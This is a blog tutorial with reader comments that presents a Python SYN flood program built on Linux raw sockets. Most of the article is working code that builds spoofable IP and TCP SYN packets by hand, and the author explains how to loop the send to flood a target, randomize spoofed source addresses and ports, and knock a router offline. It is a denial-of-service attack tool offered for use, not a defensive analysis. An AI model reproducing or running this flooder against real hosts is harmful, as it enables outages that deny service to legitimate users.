Syn flood program in python using raw sockets (Linux)

By | October 2, 2012

Syn flood and raw sockets

A syn flood program sends out large number of tcp syn packets to a remote host on a particular port number. Syn packets are intended to initiate a tcp connection. However if a large number of syn packets are send without any purpose, then then it would consume a lot of resources like memory on the remote system. This concept is used in denial of service (dos) attacks. It is like jamming the networking path of a remote machine or device. This results in the device being unable to serve actual requests from legitimate users.

In this article we are going to write a very simple syn flood program in python. A syn flood program works by creating syn packets which need raw socket support. Linux has raw socket support natively and hence the program shown in this example shall work only on a linux system even though python itself is platform independant. This is because the underlying socket libraries are different on windows and linux.


The theory behind the code is quite simple. Just create a raw socket and a tcp syn packet and send the packet over the raw socket. That is all that needs to be done.

Here is the program

	Syn flood program in python using raw sockets (Linux)
	Silver Moon ([email protected])

# some imports
import socket, sys
from struct import *

# checksum functions needed for calculation checksum
def checksum(msg):
	s = 0
	# loop taking 2 characters at a time
	for i in range(0, len(msg), 2):
		w = (ord(msg[i]) << 8) + (ord(msg[i+1]) )
		s = s + w
	s = (s>>16) + (s & 0xffff);
	#s = s + (s >> 16);
	#complement and mask to 4 byte short
	s = ~s & 0xffff
	return s

#create a raw socket
	s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP)
except socket.error , msg:
	print 'Socket could not be created. Error Code : ' + str(msg[0]) + ' Message ' + msg[1]

# tell kernel not to put in headers, since we are providing it
s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
# now start constructing the packet
packet = '';

source_ip = ''
dest_ip = ''	# or socket.gethostbyname('')

# ip header fields
ihl = 5
version = 4
tos = 0
tot_len = 20 + 20	# python seems to correctly fill the total length, dont know how ??
id = 54321	#Id of this packet
frag_off = 0
ttl = 255
protocol = socket.IPPROTO_TCP
check = 10	# python seems to correctly fill the checksum
saddr = socket.inet_aton ( source_ip )	#Spoof the source ip address if you want to
daddr = socket.inet_aton ( dest_ip )

ihl_version = (version << 4) + ihl

# the ! in the pack format string means network order
ip_header = pack('!BBHHHBBH4s4s' , ihl_version, tos, tot_len, id, frag_off, ttl, protocol, check, saddr, daddr)

# tcp header fields
source = 1234	# source port
dest = 80	# destination port
seq = 0
ack_seq = 0
doff = 5	#4 bit field, size of tcp header, 5 * 4 = 20 bytes
#tcp flags
fin = 0
syn = 1
rst = 0
psh = 0
ack = 0
urg = 0
window = socket.htons (5840)	#	maximum allowed window size
check = 0
urg_ptr = 0

offset_res = (doff << 4) + 0
tcp_flags = fin + (syn << 1) + (rst << 2) + (psh <<3) + (ack << 4) + (urg << 5)

# the ! in the pack format string means network order
tcp_header = pack('!HHLLBBHHH' , source, dest, seq, ack_seq, offset_res, tcp_flags,  window, check, urg_ptr)

# pseudo header fields
source_address = socket.inet_aton( source_ip )
dest_address = socket.inet_aton(dest_ip)
placeholder = 0
protocol = socket.IPPROTO_TCP
tcp_length = len(tcp_header)

psh = pack('!4s4sBBH' , source_address , dest_address , placeholder , protocol , tcp_length);
psh = psh + tcp_header;

tcp_checksum = checksum(psh)

# make the tcp header again and fill the correct checksum
tcp_header = pack('!HHLLBBHHH' , source, dest, seq, ack_seq, offset_res, tcp_flags,  window, tcp_checksum , urg_ptr)

# final full packet - syn packets dont have any data
packet = ip_header + tcp_header

#Send the packet finally - the port specified has no effect
s.sendto(packet, (dest_ip , 0 ))	# put this in a loop if you want to flood the target

#put the above line in a loop like while 1: if you want to flood

The above program has to be run with root privileges. Raw sockets need root privileges. On ubuntu prefix sudo when running the script.

$ sudo python

Also note that if a firewall like firestarter is running then it might block the syn packets from being delivered. Use a packet sniffer like wireshark to check that the packet was generated and transmitted properly.

Many more things can be added to the above program. Put the sendto in a loop and it would send out huge number of syn packets, flooding the target system. Also try to change the source ip and source port in each packet in a loop. For this the pseudo header and tcp header checksum needs to be recalculated everytime.

The best thing to try this program on would be your LAN router. If might get disconnected or even restart itself if it is unable to handle a syn flood attack.

Last Updated On : 30th November 2012

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12 thoughts on “Syn flood program in python using raw sockets (Linux)

  1. NanoDano

    I feel so stupid now. I didn’t realize you could create a raw socket in Python =X I always assumed raw syn packets without it automatically taking care of the full connect wasn’t possible with the standard library.

  2. darthvader

    socket.error: [Errno 22] Invalid argument

    I am using raw sockets to send HTTP request to a remote server.I am trying to send initial SYN request to set TCP connection(I have built IP and TCP headers ). I get the above error while trying to send out a SYN packet initially.

    anyone has been through this issue and has gotten it to work?

  3. Ben

    When I run it it gives me: s.sendto(packet, (dest_ip , 0 ))
    socket.error: [Errno 22] Invalid argument
    I don’t know why, I tried everything I could think of.

  4. foreverzeus


    when I use this to connect a socket server in other pc in linux pc, when I send a syn packet then the server send me a syn+ack packet,But, at the same time, linuc pc send the server a rst packet, but this packet is not sent by my program,why? I change my port, but it nothing

    1. Silver Moon

      the syn packet is send by the program, but the syn+ack packet is received by the kernel.
      now the kernel is unaware of any syn packets send, since it did not send the syn packet. in such a case it finds the syn+ack packet unexpected and so replies with a rst server to tell the remote server that this is not a valid connection and should be closed down.

      this is the default behaviour on both windows and linux. and there is no easy way to prevent the kernel from sending the rst packets.

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